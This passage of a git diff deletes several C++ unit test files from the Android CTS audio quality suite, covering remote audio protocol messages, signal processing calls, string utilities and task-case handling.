-            U32_ENDIAN_SWAP(AudioProtocol::ECmdStartPlayback),
-            U32_ENDIAN_SWAP(20),
-            U32_ENDIAN_SWAP(id),
-            U32_ENDIAN_SWAP(samplingF),
-            U32_ENDIAN_SWAP(mode),
-            U32_ENDIAN_SWAP(volume),
-            U32_ENDIAN_SWAP(repeat)
-    };
-    uint32_t startReply[] = {
-            U32_ENDIAN_SWAP((AudioProtocol::ECmdStartPlayback & 0xffff) | 0x43210000),
-            0,
-            0
-    };
-
-    uint32_t stopPlaybackSend[] = {
-            U32_ENDIAN_SWAP(AudioProtocol::ECmdStopPlayback),
-            U32_ENDIAN_SWAP(0)
-    };
-
-    uint32_t stopReply[] = {
-            U32_ENDIAN_SWAP((AudioProtocol::ECmdStopPlayback & 0xffff) | 0x43210000),
-            0,
-            0
-    };
-
-    mTestSocket.setSendExpectation((char*)startPlaybackSend, sizeof(startPlaybackSend));
-    // this is reply, but set expectation for reply first as it is sent after send
-    mTestSocket.setReadExpectation((char*)startReply, sizeof(startReply));
-
-    ASSERT_TRUE(mRemoteAudio->startPlayback(stereo, samplingF, mode, volume, id, repeat));
-    sleep(1);
-    mTestSocket.setSendExpectation((char*)stopPlaybackSend, sizeof(stopPlaybackSend));
-    // this is reply, but set expectation for reply first as it is sent after send
-    mTestSocket.setReadExpectation((char*)stopReply, sizeof(stopReply));
-    mRemoteAudio->stopPlayback();
-
-    mTestSocket.setSendExpectation((char*)startPlaybackSend, sizeof(startPlaybackSend));
-    // this is reply, but set expectation for reply first as it is sent after send
-    mTestSocket.setReadExpectation((char*)startReply, sizeof(startReply));
-    ASSERT_TRUE(mRemoteAudio->startPlayback(stereo, samplingF, mode, volume, id, repeat));
-    sleep(1);
-    mTestSocket.setSendExpectation((char*)stopPlaybackSend, sizeof(stopPlaybackSend));
-    // this is reply, but set expectation for reply first as it is sent after send
-    mTestSocket.setReadExpectation((char*)stopReply, sizeof(stopReply));
-    mRemoteAudio->stopPlayback();
-
-    mTestSocket.setSendExpectation((char*)startPlaybackSend, sizeof(startPlaybackSend));
-    // this is reply, but set expectation for reply first as it is sent after send
-    mTestSocket.setReadExpectation((char*)startReply, sizeof(startReply));
-    ASSERT_TRUE(mRemoteAudio->startPlayback(stereo, samplingF, mode, volume, id, repeat));
-    ASSERT_TRUE(mRemoteAudio->waitForPlaybackCompletion());
-}
-
-TEST_F(RemoteAudioFakeTcpTest, RecordingTest) {
-    bool stereo = false;
-    int id = 0;
-    int samplingF = 44100;
-    int mode = AudioHardware::EModeVoice | (stereo ? 0x80000000 : 0);
-    int volume = 0;
-    int noSamples = 44; // 1ms worth
-
-    android::sp<Buffer> buffer(new Buffer(100, noSamples*2, false));
-
-    uint32_t startSend[] = {
-            U32_ENDIAN_SWAP(AudioProtocol::ECmdStartRecording),
-            U32_ENDIAN_SWAP(16),
-            U32_ENDIAN_SWAP(samplingF),
-            U32_ENDIAN_SWAP(mode),
-            U32_ENDIAN_SWAP(volume),
-            U32_ENDIAN_SWAP(noSamples)
-    };
-
-    // 2bytes per sample, +2 for last samples rounded off
-    uint32_t startReply[noSamples/2 + 2 + 3];
-    memset(startReply, 0, sizeof(startReply));
-    startReply[0] = U32_ENDIAN_SWAP((AudioProtocol::ECmdStartRecording & 0xffff) | 0x43210000);
-    startReply[1] = 0;
-    startReply[2] = U32_ENDIAN_SWAP(noSamples * 2);
-
-    uint32_t stopSend[] = {
-            U32_ENDIAN_SWAP(AudioProtocol::ECmdStopRecording),
-            U32_ENDIAN_SWAP(0)
-    };
-
-    uint32_t stopReply[] = {
-            U32_ENDIAN_SWAP((AudioProtocol::ECmdStopRecording & 0xffff) | 0x43210000),
-            0,
-            0
-    };
-
-
-    mTestSocket.setSendExpectation((char*)startSend, sizeof(startSend));
-    // this is reply, but set expectation for reply first as it is sent after send
-    mTestSocket.setReadExpectation((char*)startReply, 12 + noSamples*2);
-
-    ASSERT_TRUE(mRemoteAudio->startRecording(stereo, samplingF, mode, volume, buffer));
-    ASSERT_TRUE(mRemoteAudio->waitForRecordingCompletion());
-    ASSERT_TRUE(buffer->amountHandled() == (size_t)(noSamples * 2));
-    mTestSocket.setSendExpectation((char*)startSend, sizeof(startSend));
-    // this is reply, but set expectation for reply first as it is sent after send
-    mTestSocket.setReadExpectation((char*)startReply, 12 + noSamples*2);
-    ASSERT_TRUE(mRemoteAudio->startRecording(stereo, samplingF, mode, volume, buffer));
-    sleep(1);
-    mTestSocket.setSendExpectation((char*)stopSend, sizeof(stopSend));
-    // this is reply, but set expectation for reply first as it is sent after send
-    mTestSocket.setReadExpectation((char*)stopReply, sizeof(stopReply));
-    mRemoteAudio->stopRecording();
-}
-
-TEST_F(RemoteAudioFakeTcpTest, getDeviceInfoTest) {
-    uint32_t prepareSend[] = {
-            U32_ENDIAN_SWAP(AudioProtocol::ECmdGetDeviceInfo),
-            U32_ENDIAN_SWAP(0)
-    };
-    uint32_t prepareReply[] = {
-            U32_ENDIAN_SWAP((AudioProtocol::ECmdGetDeviceInfo & 0xffff) | 0x43210000),
-            0,
-            U32_ENDIAN_SWAP(4),
-            U32_ENDIAN_SWAP(0x30313233)
-    };
-
-    mTestSocket.setSendExpectation((char*)prepareSend, sizeof(prepareSend));
-    // this is reply, but set expectation for reply first as it is sent after send
-    mTestSocket.setReadExpectation((char*)prepareReply, sizeof(prepareReply));
-
-    android::String8 info;
-    ASSERT_TRUE(mRemoteAudio->getDeviceInfo(info));
-    ASSERT_TRUE(info == "0123");
-}
diff --git a/suite/audio_quality/test/SignalProcessingInterfaceTest.cpp b/suite/audio_quality/test/SignalProcessingInterfaceTest.cpp
deleted file mode 100644
index cdffeb9..0000000
--- a/suite/audio_quality/test/SignalProcessingInterfaceTest.cpp
+++ /dev/null
@@ -1,196 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include <gtest/gtest.h>
-#include <utils/String8.h>
-
-#include <audio/AudioSignalFactory.h>
-#include <SignalProcessingInterface.h>
-#include <SignalProcessingImpl.h>
-#include <task/TaskAll.h>
-
-class SignalProcessingInterfaceTest : public testing::Test {
-protected:
-    SignalProcessingImpl* mSp;
-
-protected:
-    virtual void SetUp() {
-        mSp = new SignalProcessingImpl();
-        ASSERT_TRUE(mSp != NULL);
-        ASSERT_TRUE(mSp->init(SignalProcessingImpl::MAIN_PROCESSING_SCRIPT));
-    }
-
-    virtual void TearDown() {
-        delete mSp;
-        mSp = NULL;
-    }
-};
-
-TEST_F(SignalProcessingInterfaceTest, InitTest) {
-    // SetUp do all the work, nothing to do
-}
-
-TEST_F(SignalProcessingInterfaceTest, EchoTest) {
-    android::String8 functionName("echo");
-    int nInputs = 4;
-    int nOutputs = 4;
-    bool inputTypes[4] = { true, true, false, false };
-    bool outputTypes[4] = { true, true, false, false };
-
-    android::sp<Buffer> in0(new Buffer(160000, 160000, true));
-    char* data0 = in0->getData();
-    for (size_t i = 0; i < in0->getSize(); i++) {
-        data0[i] = i;
-    }
-    android::sp<Buffer> in1(new Buffer(8, 8, false));
-    char* data1 = in1->getData();
-    for (size_t i = 0; i < in1->getSize(); i++) {
-        data1[i] = i;
-    }
-    TaskCase::Value in2(1.0f);
-    TaskCase::Value in3((int64_t)100);
-    void* inputs[4] = { &in0, &in1, &in2, &in3 };
-
-    android::sp<Buffer> out0(new Buffer(160000, 160000, true));
-    char* outdata0 = out0->getData();
-    for (size_t i = 0; i < out0->getSize(); i++) {
-        outdata0[i] = 0xaa;
-    }
-    android::sp<Buffer> out1(new Buffer(8, 8, false));
-    char* outdata1 = out1->getData();
-    for (size_t i = 0; i < out1->getSize(); i++) {
-        outdata1[i] = 0xbb;
-    }
-    TaskCase::Value out2(-1.0f);
-    TaskCase::Value out3((int64_t)1000);
-    void *outputs[4] = { &out0, &out1, &out2, &out3 };
-
-    ASSERT_TRUE(mSp->run( functionName,
-            nInputs, inputTypes, inputs,
-            nOutputs, outputTypes, outputs) == TaskGeneric::EResultOK);
-    ASSERT_TRUE(*(in0.get()) == *(out0.get()));
-    ASSERT_TRUE(*(in1.get()) == *(out1.get()));
-    ASSERT_TRUE(in2 == out2);
-    ASSERT_TRUE(in3 == out3);
-}
-
-TEST_F(SignalProcessingInterfaceTest, intsumTest) {
-    android::String8 functionName("intsum");
-    int nInputs = 2;
-    int nOutputs = 1;
-    bool inputTypes[2] = { false, false };
-    bool outputTypes[1] = { false };
-
-    TaskCase::Value in0((int64_t)10);
-    TaskCase::Value in1((int64_t)100);
-    void* inputs[2] = { &in0, &in1 };
-
-    TaskCase::Value out0((int64_t)0);
-    void *outputs[1] = { &out0 };
-
-    ASSERT_TRUE(mSp->run( functionName,
-            nInputs, inputTypes, inputs,
-            nOutputs, outputTypes, outputs) == TaskGeneric::EResultOK);
-    ASSERT_TRUE(out0.getInt64() == (in0.getInt64() + in1.getInt64()));
-}
-
-// two instances of python processing processes should work
-TEST_F(SignalProcessingInterfaceTest, TwoInstanceTest) {
-    SignalProcessingImpl* sp2 = new SignalProcessingImpl();
-    ASSERT_TRUE(sp2 != NULL);
-    ASSERT_TRUE(sp2->init(SignalProcessingImpl::MAIN_PROCESSING_SCRIPT));
-
-    android::String8 functionName("intsum");
-    int nInputs = 2;
-    int nOutputs = 1;
-    bool inputTypes[2] = { false, false };
-    bool outputTypes[1] = { false };
-
-    TaskCase::Value in0((int64_t)10);
-    TaskCase::Value in1((int64_t)100);
-    void* inputs[2] = { &in0, &in1 };
-
-    TaskCase::Value out0((int64_t)0);
-    void *outputs[1] = { &out0 };
-
-    ASSERT_TRUE(mSp->run( functionName,
-            nInputs, inputTypes, inputs,
-            nOutputs, outputTypes, outputs) == TaskGeneric::EResultOK);
-    ASSERT_TRUE(out0.getInt64() == (in0.getInt64() + in1.getInt64()));
-    out0.setInt64(0);
-    ASSERT_TRUE(sp2->run( functionName,
-                nInputs, inputTypes, inputs,
-                nOutputs, outputTypes, outputs) == TaskGeneric::EResultOK);
-    ASSERT_TRUE(out0.getInt64() == (in0.getInt64() + in1.getInt64()));
-    delete sp2;
-}
-
-// test to run processing/example.py
-TEST_F(SignalProcessingInterfaceTest, exampleTest) {
-    android::String8 functionName("example");
-    int nInputs = 8;
-    int nOutputs = 4;
-    bool inputTypes[8] = { true, true, true, true, false, false, false, false };
-    bool outputTypes[4] = { true, true, false, false };
-
-    android::sp<Buffer> in0(new Buffer(16, 16, true));
-    char* data0 = in0->getData();
-    for (size_t i = 0; i < in0->getSize(); i++) {
-        data0[i] = i;
-    }
-    android::sp<Buffer> in1(new Buffer(16, 16, true));
-    char* data1 = in1->getData();
-    for (size_t i = 0; i < in1->getSize(); i++) {
-        data1[i] = i;
-    }
-    android::sp<Buffer> in2(new Buffer(8, 8, false));
-    char* data2 = in2->getData();
-    for (size_t i = 0; i < in2->getSize(); i++) {
-        data2[i] = i;
-    }
-    android::sp<Buffer> in3(new Buffer(8, 8, false));
-    char* data3 = in3->getData();
-    for (size_t i = 0; i < in3->getSize(); i++) {
-        data3[i] = i;
-    }
-    TaskCase::Value in4((int64_t)100);
-    TaskCase::Value in5((int64_t)100);
-    TaskCase::Value in6(1.0f);
-    TaskCase::Value in7(1.0f);
-    void* inputs[8] = { &in0, &in1, &in2, &in3, &in4, &in5, &in6, &in7 };
-
-    android::sp<Buffer> out0(new Buffer(16, 16, true));
-    char* outdata0 = out0->getData();
-    for (size_t i = 0; i < out0->getSize(); i++) {
-        outdata0[i] = 0xaa;
-    }
-    android::sp<Buffer> out1(new Buffer(8, 8, false));
-    char* outdata1 = out1->getData();
-    for (size_t i = 0; i < out1->getSize(); i++) {
-        outdata1[i] = 0xbb;
-    }
-    TaskCase::Value out2((int64_t)1000);
-    TaskCase::Value out3(-1.0f);
-    void *outputs[4] = { &out0, &out1, &out2, &out3 };
-
-    ASSERT_TRUE(mSp->run( functionName,
-            nInputs, inputTypes, inputs,
-            nOutputs, outputTypes, outputs) == TaskGeneric::EResultOK);
-    ASSERT_TRUE(*(in0.get()) == *(out0.get()));
-    ASSERT_TRUE(*(in2.get()) == *(out1.get()));
-    ASSERT_TRUE(in4 == out2);
-    ASSERT_TRUE(in6 == out3);
-}
diff --git a/suite/audio_quality/test/SimpleScriptExecTest.cpp b/suite/audio_quality/test/SimpleScriptExecTest.cpp
deleted file mode 100644
index 7016ef9..0000000
--- a/suite/audio_quality/test/SimpleScriptExecTest.cpp
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-
-#include <gtest/gtest.h>
-#include <SimpleScriptExec.h>
-
-
-class ScriptExecTest : public testing::Test {
-
-};
-
-TEST_F(ScriptExecTest, PythonVersionTest) {
-    ASSERT_TRUE(SimpleScriptExec::checkPythonEnv());
-}
-
-
-TEST_F(ScriptExecTest, checkIfPassedTest) {
-    android::String8 pass1("___CTS_AUDIO_PASS___");
-    android::String8 match1;
-    ASSERT_TRUE(SimpleScriptExec::checkIfPassed(pass1, match1));
-
-    android::String8 fail1;
-    ASSERT_TRUE(!SimpleScriptExec::checkIfPassed(fail1, match1));
-}
-
diff --git a/suite/audio_quality/test/StringUtilTest.cpp b/suite/audio_quality/test/StringUtilTest.cpp
deleted file mode 100644
index 1dbcea0..0000000
--- a/suite/audio_quality/test/StringUtilTest.cpp
+++ /dev/null
@@ -1,73 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#include <gtest/gtest.h>
-#include <StringUtil.h>
-
-
-class StringUtilTest : public testing::Test {
-
-};
-
-TEST_F(StringUtilTest, compareTest) {
-    android::String8 str("hello");
-    ASSERT_TRUE(StringUtil::compare(str, "hello") == 0);
-    ASSERT_TRUE(StringUtil::compare(str, "hi") != 0);
-}
-
-TEST_F(StringUtilTest, substrTest) {
-    android::String8 str("hello there");
-
-    android::String8 sub1 = StringUtil::substr(str, 0, 5);
-    ASSERT_TRUE(StringUtil::compare(sub1, "hello") == 0);
-
-    android::String8 sub2 = StringUtil::substr(str, 10, 5);
-    ASSERT_TRUE(StringUtil::compare(sub2, "e") == 0);
-
-    android::String8 sub3 = StringUtil::substr(str, 6, 5);
-    ASSERT_TRUE(StringUtil::compare(sub3, "there") == 0);
-
-    android::String8 sub4 = StringUtil::substr(str, 100, 5);
-    ASSERT_TRUE(sub4.length() == 0);
-}
-
-TEST_F(StringUtilTest, endsWithTest) {
-    android::String8 str("hello there");
-    ASSERT_TRUE(StringUtil::endsWith(str, "there"));
-    ASSERT_TRUE(StringUtil::endsWith(str, "hello there"));
-    ASSERT_TRUE(!StringUtil::endsWith(str, "not there"));
-}
-
-TEST_F(StringUtilTest, splitTest) {
-    android::String8 str("hello:there:break:this:");
-    std::vector<android::String8>* tokens = StringUtil::split(str, ':');
-    ASSERT_TRUE(tokens != NULL);
-    ASSERT_TRUE(tokens->size() == 4);
-    ASSERT_TRUE(StringUtil::compare(tokens->at(0), "hello") == 0);
-    ASSERT_TRUE(StringUtil::compare(tokens->at(1), "there") == 0);
-    ASSERT_TRUE(StringUtil::compare(tokens->at(2), "break") == 0);
-    ASSERT_TRUE(StringUtil::compare(tokens->at(3), "this") == 0);
-    delete tokens;
-
-    android::String8 str2("::::");
-    std::vector<android::String8>* tokens2 = StringUtil::split(str2, ':');
-    ASSERT_TRUE(tokens2 != NULL);
-    ASSERT_TRUE(tokens2->size() == 0);
-    delete tokens2;
-}
-
-
-
diff --git a/suite/audio_quality/test/TaskCaseCommon.h b/suite/audio_quality/test/TaskCaseCommon.h
deleted file mode 100644
index cf8d272..0000000
--- a/suite/audio_quality/test/TaskCaseCommon.h
+++ /dev/null
@@ -1,43 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-
-#ifndef CTSAUDIO_TASKCASECOMMON_H
-#define CTSAUDIO_TASKCASECOMMON_H
-
-#include <gtest/gtest.h>
-
-#include <Log.h>
-#include <GenericFactory.h>
-#include <task/TaskAll.h>
-
-/**
- * Create TaskCase with setup and action as children
- * No need to destroy setup and action
- */
-inline TaskCase* getTaskCase(TaskGeneric*& setup, TaskGeneric*& action)
-{
-    GenericFactory factory;
-    TaskCase* taskCase = new TaskCase();
-    setup = factory.createTask(TaskGeneric::ETaskSetup);
-    taskCase->addChild(setup);
-    action = factory.createTask(TaskGeneric::ETaskAction);
-    taskCase->addChild(action);
-    return taskCase;
-}
-
-
-#endif // CTSAUDIO_TASKCASECOMMON_H
diff --git a/suite/audio_quality/test/TaskCaseTest.cpp b/suite/audio_quality/test/TaskCaseTest.cpp
deleted file mode 100644
index 9cf74a7..0000000
--- a/suite/audio_quality/test/TaskCaseTest.cpp
+++ /dev/null
@@ -1,160 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#include <stdint.h>
-#include <gtest/gtest.h>
-
-#include "Log.h"
-#include "StringUtil.h"
-#include "task/TaskAll.h"
-
-
-class TaskCaseTest : public testing::Test {
-public:
-    TaskCase* mTaskCase;
-    virtual void SetUp() {
-        mTaskCase = new TaskCase();
-        ASSERT_TRUE(mTaskCase != NULL);
-    }
-
-    virtual void TearDown() {
-        delete mTaskCase;
-    }
-};
-
-
-TEST_F(TaskCaseTest, DataMapTest) {
-    android::sp<Buffer> buffer1(new Buffer(4, 4, true));
-    android::sp<Buffer> buffer2(new Buffer(4, 4, true));
-    android::sp<Buffer> buffer3(new Buffer(4, 4, true));
-    android::sp<Buffer> buffer4(new Buffer(4, 4, true));
-
-    const android::String8 BUFFER1("buffer1");
-    const android::String8 BUFFER2("buffer2");
-    const android::String8 BUFFER3("buffer3");
-    const android::String8 BUFFER4("buffer4");
-    ASSERT_TRUE(mTaskCase->registerBuffer(BUFFER1, buffer1));
-    ASSERT_TRUE(mTaskCase->registerBuffer(BUFFER2, buffer2));
-    ASSERT_TRUE(mTaskCase->registerBuffer(BUFFER3, buffer3));
-    ASSERT_TRUE(mTaskCase->registerBuffer(BUFFER4, buffer4));
-
-    android::sp<Buffer> buffer1f = mTaskCase->findBuffer(BUFFER1);
-    //LOGI("buffer1 %x, buffer1f %x", &buffer1, buffer1f);
-    ASSERT_TRUE(buffer1.get() == buffer1f.get());
-    const android::String8 NO_SUCH_BUFFER("no_such_buffer");
-    buffer1f = mTaskCase->findBuffer(NO_SUCH_BUFFER);
-    ASSERT_TRUE(buffer1f.get() == NULL);
-    const android::String8 RE("buffer[1-2]");
-    std::list<TaskCase::BufferPair>* list = mTaskCase->findAllBuffers(RE);
-    ASSERT_TRUE(list != NULL);
-    ASSERT_TRUE(((list->front().second.get() == buffer1.get()) &&
-                    (list->back().second.get() == buffer2.get())) ||
-                ((list->front().second.get() == buffer2.get()) &&
-                    (list->back().second.get() == buffer1.get())));
-    delete list;
-}
-
-TEST_F(TaskCaseTest, ValueMapTest) {
-    TaskCase::Value val1(1.0f);
-    TaskCase::Value val2(2.0f);
-    TaskCase::Value val3((int64_t)1);
-    TaskCase::Value val4((int64_t)2);
-    TaskCase::Value val2_copy(2.0f);
-    ASSERT_TRUE(!(val1 == val2));
-    ASSERT_TRUE(!(val2 == val3));
-    ASSERT_TRUE(val2 == val2_copy);
-    ASSERT_TRUE(val1.getDouble() == 1.0f);
-    ASSERT_TRUE(val3.getInt64() == 1);
-    const android::String8 V1("v1");
-    const android::String8 V2("v2");
-    const android::String8 V3("v3");
-    const android::String8 V4("v4");
-    const android::String8 V5("v5");
-    ASSERT_TRUE(mTaskCase->registerValue(V1, val1));
-    ASSERT_TRUE(mTaskCase->registerValue(V2, val2));
-    ASSERT_TRUE(mTaskCase->registerValue(V3, val3));
-    ASSERT_TRUE(mTaskCase->registerValue(V4, val4));
-
-    TaskCase::Value valRead;
-    ASSERT_TRUE(mTaskCase->findValue(V4, valRead));
-    ASSERT_TRUE(valRead.getInt64() == 2);
-    TaskCase::Value val4_2((int64_t)3);
-    ASSERT_TRUE(mTaskCase->updateValue(V4, val4_2));
-    ASSERT_TRUE(mTaskCase->findValue(V4, valRead));
-    ASSERT_TRUE(valRead.getInt64() == 3);
-    ASSERT_TRUE(!mTaskCase->updateValue(V5, val4));
-    ASSERT_TRUE(!mTaskCase->findValue(V5, valRead));
-
-    const android::String8 RE("v[2-3]");
-    std::list<TaskCase::ValuePair>* list = mTaskCase->findAllValues(RE);
-    ASSERT_TRUE(list != NULL);
-    ASSERT_TRUE(((list->front().second == val2) && (list->back().second == val3)) ||
-                ((list->front().second == val3) && (list->back().second == val4)));
-    delete list;
-}
-
-TEST_F(TaskCaseTest, IndexMapTest) {
-    Buffer buffer1(4, 4, true);
-    Buffer buffer2(4, 4, true);
-    Buffer buffer3(4, 4, true);
-    Buffer buffer4(4, 4, true);
-
-    int i = 0;
-    int j = 1;
-    const android::String8 I("i");
-    const android::String8 J("j");
-    const android::String8 K("k");
-    ASSERT_TRUE(mTaskCase->registerIndex(I));
-    ASSERT_TRUE(mTaskCase->registerIndex(J));
-    ASSERT_TRUE(mTaskCase->updateIndex(I, i));
-    ASSERT_TRUE(mTaskCase->updateIndex(J, j));
-    int i_read, j_read, k_read;
-    ASSERT_TRUE(mTaskCase->findIndex(I, i_read));
-    ASSERT_TRUE(mTaskCase->findIndex(J, j_read));
-    ASSERT_TRUE(!mTaskCase->findIndex(K, k_read));
-    ASSERT_TRUE(i == i_read);
-    ASSERT_TRUE(j == j_read);
-    //TODO add findAll test
-}
-
-TEST_F(TaskCaseTest, VarTranslateTest) {
-    const android::String8 I("i");
-    const android::String8 J("j");
-    const android::String8 K("k");
-    ASSERT_TRUE(mTaskCase->registerIndex(I, 1));
-    ASSERT_TRUE(mTaskCase->registerIndex(J, 2));
-    ASSERT_TRUE(mTaskCase->registerIndex(K, 3));
-
-    android::String8 orig1("hello_$i_$j");
-    android::String8 result1;
-    ASSERT_TRUE(mTaskCase->translateVarName(orig1, result1));
-    ASSERT_TRUE(StringUtil::compare(result1, "hello_1_2") == 0);
-
-    android::String8 orig2("hello_$i_$j_$k_there");
-    android::String8 result2;
-    ASSERT_TRUE(mTaskCase->translateVarName(orig2, result2));
-    ASSERT_TRUE(StringUtil::compare(result2, "hello_1_2_3_there") == 0);
-
-    // should fail as there is no such var
-    android::String8 orig3("$n");
-    android::String8 result3;
-    ASSERT_TRUE(!mTaskCase->translateVarName(orig3, result3));
-
-    android::String8 orig4("hello_there");
-    android::String8 result4;
-    ASSERT_TRUE(mTaskCase->translateVarName(orig4, result4));
-    ASSERT_TRUE(StringUtil::compare(result4, "hello_there") == 0);
-}
diff --git a/suite/audio_quality/test/TaskProcessTest.cpp b/suite/audio_quality/test/TaskProcessTest.cpp
deleted file mode 100644
index 05c7f1d..0000000
--- a/suite/audio_quality/test/TaskProcessTest.cpp
+++ /dev/null
@@ -1,57 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-
-#include "TaskCaseCommon.h"
-
-class TaskProcessTest : public testing::Test {
-public:
-    TaskCase* mTestCase;
-    TaskSequential* mSequential;
-    TaskProcess* mProcess;
-
-
-    virtual void SetUp() {
-        TaskGeneric* setup = NULL;
-        TaskGeneric* action = NULL;
-        mTestCase  = getTaskCase(setup, action);
-        ASSERT_TRUE(mTestCase != NULL);
-        ASSERT_TRUE(setup != NULL);
-        ASSERT_TRUE(action != NULL);
-        mSequential = new TaskSequential();
-        const android::String8 REPEAT("repeat");
-        const android::String8 N_10("10");
-        const android::String8 INDEX("index");
-        const android::String8 I("i");
-        ASSERT_TRUE(mSequential->parseAttribute(REPEAT, N_10));
-        ASSERT_TRUE(mSequential->parseAttribute(INDEX, I));
-        ASSERT_TRUE(action->addChild(mSequential));
-        mProcess = new TaskProcess();
-        ASSERT_TRUE(mSequential->addChild(mProcess));
-
-    }
-
-    virtual void TearDown() {
-        delete mTestCase;
-    }
-};
-
-
-TEST_F(TaskProcessTest, AttributeTest) {
-
-}
-
-
diff --git a/suite/audio_quality/test/TaskSequentialTest.cpp b/suite/audio_quality/test/TaskSequentialTest.cpp
deleted file mode 100644
index 289dafe..0000000
--- a/suite/audio_quality/test/TaskSequentialTest.cpp
+++ /dev/null
@@ -1,65 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#include "TaskCaseCommon.h"
-class TaskSequentialTest : public testing::Test {
-public:
-    TaskCase* mTestCase;
-    TaskSequential* mSequential;
-
-
-    virtual void SetUp() {
-        TaskGeneric* setup = NULL;
-        TaskGeneric* action = NULL;
-        mTestCase  = getTaskCase(setup, action);
-        ASSERT_TRUE(mTestCase != NULL);
-        ASSERT_TRUE(setup != NULL);
-        ASSERT_TRUE(action != NULL);
-        mSequential = new TaskSequential();
-        action->addChild(mSequential);
-    }
-
-    virtual void TearDown() {
-        delete mTestCase;
-    }
-};
-
-
-TEST_F(TaskSequentialTest, AttributeTest) {
-    const android::String8 REPEAT("repeat");
-    const android::String8 N_10("10");
-    const android::String8 INDEX("index");
-    const android::String8 I("i");
-    const android::String8 NO_SUCH_THING("no_such_thing");
-    const android::String8 SHOULD_FAIL("should_fail");
-    ASSERT_TRUE(mSequential->parseAttribute(REPEAT, N_10));
-    ASSERT_TRUE(mSequential->parseAttribute(INDEX, I));
-    ASSERT_TRUE(!mSequential->parseAttribute(NO_SUCH_THING, SHOULD_FAIL));
-    mSequential->run();
-    const android::String8 RE(".*");
-    std::list<TaskCase::IndexPair>* indices = mTestCase->findAllIndices(RE);
-    ASSERT_TRUE(indices != NULL);
-    ASSERT_TRUE(indices->size() == 1);
-    int index = -10;
-
-    ASSERT_TRUE(mTestCase->findIndex(I, index));
-    ASSERT_TRUE(index == 10);
-    delete indices;
-}
-
-
-
-
diff --git a/suite/audio_quality/test/TaskTest.cpp b/suite/audio_quality/test/TaskTest.cpp
deleted file mode 100644
index 3636f82..0000000
--- a/suite/audio_quality/test/TaskTest.cpp
+++ /dev/null
@@ -1,132 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#include <gtest/gtest.h>
-#include "task/TaskAll.h"
-
-static const android::String8 AAA("aaa");
-static const android::String8 BBB("bbb");
-
-class TaskTest : public testing::Test {
-public:
-    TaskCase* mTestCase;
-    // should not delete
-    TaskGeneric* mTaskSetup;
-    TaskGeneric* mTaskAction;
-    TaskGeneric* mTaskSequential;
-    TaskGeneric* mTaskProcess;
-    TaskGeneric* mTaskInput;
-    TaskGeneric* mTaskOutput;
-    TaskGeneric* mTaskSound;
-
-    class TestTaskDummy: public TaskGeneric {
-    public:
-        static int mRunCounter;
-        static int mLiveInstanceCounter;
